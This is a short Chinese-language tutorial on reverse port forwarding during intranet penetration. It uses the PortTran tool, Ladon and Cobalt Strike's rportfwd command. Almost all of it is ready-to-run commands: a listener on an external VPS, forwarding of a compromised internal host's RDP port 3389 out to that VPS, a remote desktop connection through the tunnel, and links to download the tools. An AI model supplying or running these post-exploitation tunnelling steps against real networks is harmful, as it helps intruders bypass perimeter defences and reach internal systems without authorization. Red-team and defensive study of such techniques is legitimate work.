〖教程〗Ladon/Cobalt Strike/PortTran內網反向端口轉發

版本

Ladon >=7.8

PortTran

.NET端口轉發工具,支持任意權限。
https://github.com/k8gege/PortTran

外網VPS監聽

PortTranS.exe 8000 338

目標內網轉發

PortTranC.exe 192.168.85.169 3389 192.168.85.142 8000

VPS連接3389

mstsc /console /v:127.0.0.1:338

自己連接3389

反向轉發到VPS後，我們自己的機器連接VPS監聽端口即爲目標對應端口，如訪問VPS的338端口對應1.30的3389端口

如：mstsc /console /v:這裏填寫VPS的IP即可:338

Ladon命令

Usage:
Ladon PortTran TranPort ConnPort
Ladon PortTran TragetIP TargetPort VpsIP TranPort
Example:
Listen: Ladon PortTran 8000 338
Tran: Ladon PortTran 192.168.1.30 3389 192.168.1.8 8000
Test: mstsc 192.168.1.8 338

Cobalt Strike

轉發到本機
rportfwd 389 192.168.1.30 3389
轉發到VPS
Ladon PortTran 192.168.1.30 3389 192.168.1.8 8000

Ladon下載

PowerLadon: https://github.com/k8gege/PowerLadon
歷史版本: http://github.com/k8gege/Ladon/releases
7.0版本：http://k8gege.org/Download
7.8版本：K8小密圈